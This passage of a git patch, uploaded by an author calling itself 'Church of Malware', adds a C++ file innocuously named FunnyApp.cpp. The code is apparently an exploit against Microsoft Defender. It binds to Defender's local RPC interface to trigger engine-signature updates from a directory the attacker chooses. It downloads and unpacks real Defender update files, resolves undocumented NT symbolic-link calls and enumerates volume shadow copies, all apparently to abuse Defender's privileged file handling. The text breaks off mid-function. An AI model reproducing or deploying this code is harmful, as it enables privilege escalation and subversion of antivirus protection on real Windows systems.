From 9a6778b6ddc34b81d311ce76652081c3d834e474 Mon Sep 17 00:00:00 2001 From: Church of Malware Date: Wed, 10 Jun 2026 00:55:27 +0000 Subject: [PATCH] Upload files to "/" --- FunnyApp.aps | Bin 0 -> 1324 bytes FunnyApp.cpp | 3313 ++++++++++++++++++++++++++++++++++++++++++++++++++ FunnyApp.rc | Bin 0 -> 2668 bytes 3 files changed, 3313 insertions(+) create mode 100644 FunnyApp.aps create mode 100644 FunnyApp.cpp create mode 100644 FunnyApp.rc diff --git a/FunnyApp.aps b/FunnyApp.aps new file mode 100644 index 0000000000000000000000000000000000000000..1cf139a92a62ae92c94e80a649eb1e1dc92fcc22 GIT binary patch literal 1324 zcmb7D&2G~`5dI7~H2hpRa864Ptwf`w6ojf?jN=H4#I9l|Es`ZGiY*!`aV(oC^gVbG z9s_s=E)_4p8-#B+&e~BRh>gbCo%!aQ+1VKYs8N>7m2kVUUh;HEd5bH&;s0`}<@RbN z-{8l6z&Q8&S(Ik}Fr1EKKby_dQRJslGRyq-JdSVmBvG4sIugDQDQ6T9Ca(FlV8cKM zeYB`4Vl`0R<58|OT2a?;fTz^#_P-~6%Kp#B@n|v+quRk@9FwembMW{9QM|%GxC8g>Ne~1b&ad6q67Ot7t8U!$OL0~wx*K<0`pLW)^u)FWO=GtAbKPqxsR{jY1HVH?sgY-l33)T_ zkMIev@e0ReyOJ4%#4e=m9nT+SrK==s5cSw-J +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "windefend_h.h" + +/* +#include +#include +#include +#include +#include +#include +#include +*/ +#include "offreg.h" +#define _NTDEF_ +#include +#include + +#pragma comment(lib, "wininet.lib") +#pragma comment(lib, "ktmw32.lib") +#pragma comment(lib, "Shlwapi.lib") +#pragma comment(lib, "Rpcrt4.lib") +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "Cabinet.lib") +#pragma comment(lib, "Wuguid.lib") +#pragma comment(lib,"CldApi.lib") + + +/// NT routines and definitions +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); +NTSTATUS(WINAPI* _NtOpenDirectoryObject)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ) = (NTSTATUS(WINAPI*)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ))GetProcAddress(hm, "NtOpenDirectoryObject");; +NTSTATUS(WINAPI* _NtQueryDirectoryObject)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ) = (NTSTATUS(WINAPI*)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ))GetProcAddress(hm, "NtQueryDirectoryObject"); +NTSTATUS(WINAPI* _NtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) = (NTSTATUS(WINAPI*)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ))GetProcAddress(hm, "NtSetInformationFile"); + +NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ShadowDirectoryHandle, + IN ULONG Flags) = + (NTSTATUS(WINAPI*)( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ShadowDirectoryHandle, + IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx"); + +#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset)))) + + +typedef struct _FILE_DISPOSITION_INFORMATION_EX { + ULONG Flags; +} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX; +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) + +//////////////// NT DEF END + + +// definitions of structures used by threads that invoke WD RPC calls +struct WDRPCWorkerThreadArgs +{ + HANDLE hntfythread; + HANDLE hevent; + RPC_STATUS res; + wchar_t* dirpath; +}; + +typedef struct tagMPCOMPONENT_VERSION { + ULONGLONG Version; + ULARGE_INTEGER UpdateTime; +} MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION; + +typedef struct tagMPVERSION_INFO { + MPCOMPONENT_VERSION Product; + MPCOMPONENT_VERSION Service; + MPCOMPONENT_VERSION FileSystemFilter; + MPCOMPONENT_VERSION Engine; + MPCOMPONENT_VERSION ASSignature; + MPCOMPONENT_VERSION AVSignature; + MPCOMPONENT_VERSION NISEngine; + MPCOMPONENT_VERSION NISSignature; + MPCOMPONENT_VERSION Reserved[4]; +} MPVERSION_INFO, * PMPVERSION_INFO; + +typedef union Version { + struct { + WORD major; + WORD minor; + WORD build; + WORD revision; + }; + ULONGLONG QuadPart; +}; +////////////////// + + +// structures and global vars used by definition update functions +void* cabbuff2 = NULL; +DWORD cabbuffsz = 0; +struct CabOpArguments { + ULONG index; + char* filename; + size_t ptroffset; + char* buff; + DWORD FileSize; + CabOpArguments* first; + CabOpArguments* next; +}; + +struct UpdateFiles { + char filename[MAX_PATH]; + void* filebuff; + DWORD filesz; + bool filecreated; + HANDLE hsymlink; + UpdateFiles* next; +}; +/////////////////////////////////////// + + +// structures and global vars used by volume shadow copy functions +struct cldcallbackctx { + + HANDLE hnotifywdaccess; + HANDLE hnotifylockcreated; + wchar_t filename[MAX_PATH]; +}; + +struct LLShadowVolumeNames +{ + wchar_t* name; + LLShadowVolumeNames* next; +}; + +struct cloudworkerthreadargs { + HANDLE hlock; + HANDLE hcleanupevent; + HANDLE hvssready; +}; +/////////////////////////////////////// + + + +////////////////////////////////////////////////////////////////////// +// Functions required by RPC +///////////////////////////////////////////////////////////////////// + +void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) +{ + return((void __RPC_FAR*) malloc(cBytes)); +} + +void __RPC_USER midl_user_free(void __RPC_FAR* p) +{ + free(p); +} +////////////////////////////////////////////////////////////////////// +// Functions required by RPC end +///////////////////////////////////////////////////////////////////// + + + + +////////////////////////////////////////////////////////////////////// +// WD RPC functions +///////////////////////////////////////////////////////////////////// +void ThrowFunc() +{ + throw 0; +} + +void RaiseExceptionInThread(HANDLE hthread) +{ + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_FULL; + SuspendThread(hthread); + + if (GetThreadContext(hthread, &ctx)) + { + ctx.Rip = (DWORD64)ThrowFunc; + SetThreadContext(hthread, &ctx); + ResumeThread(hthread); + } +} + +void CallWD(WDRPCWorkerThreadArgs* args) +{ + RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839"; + RPC_WSTR StringBinding; + if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK) + { + printf("Unexpected error while building an RPC binding from string !!!"); + RaiseExceptionInThread(args->hntfythread); + return; + } + RPC_BINDING_HANDLE bindhandle = 0; + if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK) + { + printf("Failed to connect to windows defender RPC port !!!"); + RaiseExceptionInThread(args->hntfythread); + return; + } + error_status_t errstat = 0; + printf("Calling ServerMpUpdateEngineSignature...\n"); + //_getch(); + RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat); + args->res = stat; + if (args->hevent) + SetEvent(args->hevent); + +} + +DWORD WINAPI WDCallerThread(void* args) +{ + if (!args) + return ERROR_BAD_ARGUMENTS; + CallWD((WDRPCWorkerThreadArgs*)args); + return ERROR_SUCCESS; + +} +////////////////////////////////////////////////////////////////////// +// WD RPC functions end +///////////////////////////////////////////////////////////////////// + + + + +////////////////////////////////////////////////////////////////////// +// WD definition update functions +///////////////////////////////////////////////////////////////////// + +CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode) +{ + + CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(cbps, sizeof(CabOpArguments)); + cbps->buff = (char*)cabbuff2; + cbps->FileSize = cabbuffsz; + return cbps; +} + +INT CUST_FNSEEK(HANDLE hf, + long offset, + int origin) +{ + + if (hf) + { + CabOpArguments* CabOpArgs = (CabOpArguments*)hf; + if (origin == SEEK_SET) + CabOpArgs->ptroffset = offset; + if (origin == SEEK_CUR) + CabOpArgs->ptroffset += offset; + if (origin == SEEK_END) + CabOpArgs->ptroffset += CabOpArgs->FileSize; + + return CabOpArgs->ptroffset; + + } + + return -1; +} + + +UINT CUST_FNREAD(CabOpArguments* hf, + void* const buffer, + unsigned const buffer_size) +{ + + if (hf) + { + CabOpArguments* CabOpArgs = (CabOpArguments*)hf; + if (CabOpArgs->buff) + { + + memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size); + CabOpArgs->ptroffset += buffer_size; + //CabOpArgs->ReadBytes += buffer_size; + return buffer_size; + } + } + + return NULL; +} + +UINT CUST_FNWRITE(CabOpArguments* hf, + const void* buffer, + unsigned int count) +{ + + if (hf) + { + if (hf->buff) { + memmove(&hf->buff[hf->ptroffset], buffer, count); + hf->ptroffset += count; + return count; + } + } + + + return NULL; +} + +INT CUST_FNCLOSE(CabOpArguments* fnFileClose) +{ + + free(fnFileClose); + return 0; +} + +VOID* CUST_FNALLOC(size_t cb) +{ + return malloc(cb); +} + +VOID CUST_FNFREE(void* buff) +{ + free(buff); +} + +INT_PTR CUST_FNFDINOTIFY( + FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin +) { + + //printf("_FNFDINOTIFY : %d\n", fdinotify); + wchar_t newfile[MAX_PATH] = { 0 }; + wchar_t filename[MAX_PATH] = { 0 }; + HANDLE hfile = NULL; + ULONG rethandle = 0; + CabOpArguments** ptr = NULL; + CabOpArguments* lcab = NULL; + switch (fdinotify) + { + case fdintCOPY_FILE: + if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0) + return NULL; + + ptr = (CabOpArguments**)pfdin->pv; + lcab = *ptr; + if (lcab == NULL) { + lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(lcab, sizeof(CabOpArguments)); + lcab->first = lcab; + lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); + ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); + memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); + lcab->FileSize = pfdin->cb; + lcab->buff = (char*)malloc(lcab->FileSize); + ZeroMemory(lcab->buff, lcab->FileSize); + } + else + { + lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(lcab->next, sizeof(CabOpArguments)); + lcab->next->first = lcab->first; + lcab = lcab->next; + + lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); + ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); + memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); + lcab->FileSize = pfdin->cb; + lcab->buff = (char*)malloc(lcab->FileSize); + ZeroMemory(lcab->buff, lcab->FileSize); + } + + lcab->first->index++; + *ptr = lcab; + + + + return (INT_PTR)lcab; + break; + case fdintCLOSE_FILE_INFO: + return TRUE; + break; + default: + return 0; + } + return 0; +} + +void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz) +{ + if (cbRawData < sizeof(IMAGE_DOS_HEADER)) + { + return 0; + } + + if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE) + { + return 0; + } + + ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS); + + if (e_lfanew >= s || s > cbRawData) + { + return 0; + } + + PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew); + + + + if (pinth->Signature != IMAGE_NT_SIGNATURE) + { + return 0; + } + + ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders; + + s = e_lfanew + SizeOfHeaders; + + if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData) + { + return 0; + } + + s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader; + + if (s > SizeOfHeaders) + { + return 0; + } + + ULONG NumberOfSections = pinth->FileHeader.NumberOfSections; + + PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s); + + ULONG Size; + + if (NumberOfSections) + { + if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders) + { + return 0; + } + + do + { + if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData)) + { + union { + ULONG VirtualAddress, PointerToRawData; + }; + + VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size; + + if (VirtualAddress > s || s > SizeOfImage) + { + return 0; + } + + PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size; + + if (PointerToRawData > s || s > cbRawData) + { + return 0; + } + + char rsrc[] = ".rsrc"; + if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0) + { + typedef struct _IMAGE_RESOURCE_DIRECTORY2 { + DWORD Characteristics; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + WORD NumberOfNamedEntries; + WORD NumberOfIdEntries; + IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]; + } IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2; + + PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData); + + PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird; + PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 }; + PIMAGE_RESOURCE_DATA_ENTRY pdata = 0; + + while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries) + { + + + + + pirde = &pird->DirectoryEntries[0]; + if (!pirde->DataIsDirectory) + { + pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData); + pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData; + void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData); + if (cabsz) + *cabsz = pdata->Size; + return cabfile; + } + pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory); + } + break; + + + + + } + + + + } + + } while (pish++, --NumberOfSections); + } + return NULL; + +} + + +UpdateFiles* GetUpdateFiles(int* filecount = NULL) +{ + + + + HINTERNET hint = NULL; + HINTERNET hint2 = NULL; + char data[0x1000] = { 0 }; + DWORD index = 0; + DWORD sz = sizeof(data); + bool res2 = 0; + wchar_t filesz[50] = { 0 }; + LARGE_INTEGER li = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + wchar_t envstr[MAX_PATH] = { 0 }; + wchar_t mpampath[MAX_PATH] = { 0 }; + HANDLE hmpap = NULL; + void* exebuff = NULL; + DWORD readsz = 0; + HANDLE hmapping = NULL; + void* mappedbuff = NULL; + HRSRC hres = NULL; + DWORD ressz = NULL; + HGLOBAL cabbuff = NULL; + char fname[] = "update.cab"; + ERF erfstruct = { 0 }; + HFDI hcabctx = NULL; + bool extractres = false; + DWORD totalsz = 0; + HANDLE hmpeng = NULL; + CabOpArguments* CabOpArgs = NULL; + CabOpArguments* mpenginedata = NULL; + void* dllview = NULL; + char** filesmtrx = 0; + UpdateFiles* firstupdt = NULL; + UpdateFiles* current = NULL; + + DWORD nbytes = 0; + + + printf("Downloading updates...\n"); + hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); + if (!hint) + { + printf("Failed to open internet, error : %d", GetLastError()); + goto cleanup; + } + + hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL); + //InternetCloseHandle(hint); + if (!hint2) + { + printf("Failed to open internet URL, error : %d", GetLastError()); + goto cleanup; + } + + res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index); + if (!res2) + { + printf("Failed to query update size, error : %d", GetLastError()); + goto cleanup; + } + + + wcscpy(filesz, (LPWSTR)data); + sz = _wtoi(filesz); + li.QuadPart = sz; + + + exebuff = malloc(sz); + if (!exebuff) + { + printf("Failed to allocate memory to download file !!!"); + goto cleanup; + } + ZeroMemory(exebuff, sz); + + if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz) + { + + printf("Failed to download update from internet, error : %d", GetLastError()); + goto cleanup; + } + InternetCloseHandle(hint); + hint = NULL; + InternetCloseHandle(hint2); + hint = NULL; + printf("Done.\n"); + mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz); + + + + if (!mappedbuff) + { + printf("Failed to retrieve cabinet file from downloaded file.\n"); + goto cleanup; + } + printf("Cabinet file mapped at 0x%p\n", mappedbuff); + + + + + cabbuff2 = mappedbuff; + cabbuffsz = ressz; + + printf("Extracting cab file content...\n"); + hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct); + if (!hcabctx) + { + printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper); + goto cleanup; + } + + + + extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs); + if (!extractres) + { + printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper); + goto cleanup; + } + FDIDestroy(hcabctx); + hcabctx = NULL; + + if (!CabOpArgs) + { + printf("Unexpected empty buffer after extracting cab file.\n"); + return NULL; + } + + CabOpArgs = CabOpArgs->first; + + firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles)); + ZeroMemory(firstupdt, sizeof(UpdateFiles)); + current = firstupdt; + while (CabOpArgs) + { + if (filecount) + *filecount += 1; + strcpy(current->filename, CabOpArgs->filename); + DWORD buffsz = CabOpArgs->FileSize; + current->filebuff = malloc(buffsz); + memmove(current->filebuff, CabOpArgs->buff, buffsz); + current->filesz = buffsz; + CabOpArgs = CabOpArgs->next; + if (CabOpArgs) + { + current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles)); + ZeroMemory(current->next, sizeof(UpdateFiles)); + current = current->next; + } + + } + printf("Cab file content extracted.\n"); + + +cleanup: + + if (CabOpArgs) + { + CabOpArguments* current = CabOpArgs->first; + while (current) + { + free(current->buff); + free(current->filename); + CabOpArgs = current; + current = current->next; + free(CabOpArgs); + } + } + if (hint) + InternetCloseHandle(hint); + + if (hint2) + InternetCloseHandle(hint2); + if (exebuff) + free(exebuff); + + return firstupdt; + + +} + +bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr) +{ + + + + IUpdateSearcher* updsrch = 0; + bool updatesfound = false; + IUpdateSession* updsess = 0; + CLSID clsid; + HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid); + ISearchResult* srchres = 0; + IUpdateCollection* updcollection = 0; + LONG updnum = 0; + BSTR title = 0; + BSTR desc = 0; + ICategoryCollection* catcoll = 0; + ICategory* cat = 0; + BSTR catname = 0; + IUpdate* upd = 0; + bool comini = CoInitialize(NULL) == 0; + if (!comini) { + printf("Failed to initialize COM\n"); + *criterr = true; + return false; + } + + + + + hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess); + + if (!updsess) + { + printf("CoCreateInstance returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("CoCreateInstance : 0x%p\n", updsess); + + + hr = updsess->CreateUpdateSearcher(&updsrch); + if (hr) + { + printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + + if (!updsrch) + { + printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch); + //printf("Checking for updates, please wait...\n"); + hr = updsrch->Search(SysAllocString(L""), &srchres); + if (hr) + { + printf("ISearchResult->Search failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + //printf("ISearchResult->Search : 0x%p\n", srchres); + + hr = srchres->get_Updates(&updcollection); + if (hr) + { + printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + + if (!updcollection) + { + printf("IUpdateCollection->get_Updates returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection); + + + hr = updcollection->get_Count(&updnum); + if (hr) + { + printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + //printf("Updates count : %d\n", updnum); + + for (LONG i = 0; i < updnum; i++) + { + if (upd) + { + upd->Release(); + upd = 0; + } + title = 0; + desc = 0; + catname = 0; + //printf("_________________________________________\n"); + bool IsWdUdpate = false; + bool IsSigUpdate = false; + hr = updcollection->get_Item(i, &upd); + if (hr) + { + printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + if (!upd) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("Update number : %d\n", i + 1); + + hr = upd->get_Title(&title); + if (hr) + { + printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr); + continue; + } + if (!title) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + continue; + } + title[SysStringLen(title)] = NULL; + //printf("Title : %ws\n", title); + + /* + desc = 0; + upd->get_Description(&desc); + if (!desc) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + continue; + } + desc[SysStringLen(desc)] = NULL; + printf("Description : %ws\n", desc); + */ + catcoll = 0; + hr = upd->get_Categories(&catcoll); + if (!catcoll) + { + printf("IUpdateCollection->get_Categories returned a NULL pointer.\n"); + continue; + } + LONG catcount = 0; + hr = catcoll->get_Count(&catcount); + for (LONG j = 0; j < catcount; j++) + { + cat = 0; + hr = catcoll->get_Item(j, &cat); + if (!cat) + { + printf("ICategoryCollection->get_Item returned NULL pointer.\n"); + continue; + } + catname = 0; + cat->get_Name(&catname); + catname[SysStringLen(catname)] = NULL; + //printf("Category name : %ws\n", catname); + if (catname) + { + if (!IsWdUdpate) + IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0; + if (!IsSigUpdate) + IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0; + + } + + } + updatesfound = IsWdUdpate && IsSigUpdate; + if (updatesfound) + break; + } + + if (updatesfound && updatetitle) { + memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t)); + } + +cleanup: + if (updcollection) + updcollection->Release(); + if (srchres) + srchres->Release(); + if (updsrch) + updsrch->Release(); + if (updsess) + updsess->Release(); + if (upd) + upd->Release(); + CoUninitialize(); + + + return updatesfound; +} + +////////////////////////////////////////////////////////////////////// +// WD definition update functions end +///////////////////////////////////////////////////////////////////// + + +////////////////////////////////////////////////////////////////////// +// Volume shadow copy functions +///////////////////////////////////////////////////////////////////// + +void rev(char* s) { + + // Initialize l and r pointers + int l = 0; + int r = strlen(s) - 1; + char t; + + // Swap characters till l and r meet + while (l < r) { + + // Swap characters + t = s[l]; + s[l] = s[r]; + s[r] = t; + + // Move pointers towards each other + l++; + r--; + } +} + +void DestroyVSSNamesList(LLShadowVolumeNames* First) +{ + while (First) + { + free(First->name); + LLShadowVolumeNames* next = First->next; + free(First); + First = next; + } +} + +LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode) +{ + + + if (!criticalerr || !vscnumber || !errorcode) + return NULL; + + *vscnumber = 0; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + NTSTATUS stat = STATUS_SUCCESS; + do + { + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + *criticalerr = true; + *errorcode = RtlNtStatusToDosError(stat); + return NULL; + } + + free(objdirinfo); + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + } while (1); + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + LLShadowVolumeNames* LLVSScurrent = NULL; + LLShadowVolumeNames* LLVSSfirst = NULL; + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + free(emptybuff); + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + (*vscnumber)++; + if (LLVSScurrent) + { + LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSScurrent->next) + { + printf("Failed to allocate memory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSScurrent->next; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + } + else + { + LLVSSfirst = 